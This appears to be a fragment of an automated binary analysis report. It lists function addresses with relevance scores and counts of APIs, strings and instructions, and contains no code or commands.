COMMON

Function 00B849A0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Function 00B7CDB0 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Function 00B88F12 Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Function 00B886DE Relevance: 96.7, APIs: 32, Strings: 23, Instructions: 431
COMMON

Function 00B805D0 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Function 00B956E9 Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Function 00B96A5B Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Function 00B927C3 Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Function 00B95447 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Function 00B967BA Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Function 00B8A1B7 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Function 00B95295 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225
COMMON

Function 00B965E4 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 222
COMMON

Function 00B92DB4 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Function 00B7FEC7 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Function 00B78800 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
COMMON

Function 00B95717 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Function 00B90D50 Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Function 00B97EE3 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Function 00B90561 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Function 00B95704 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Function 00B96A89 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Function 00B92CB3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Function 00B96A76 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Function 00B9574C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Function 00B96A6D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON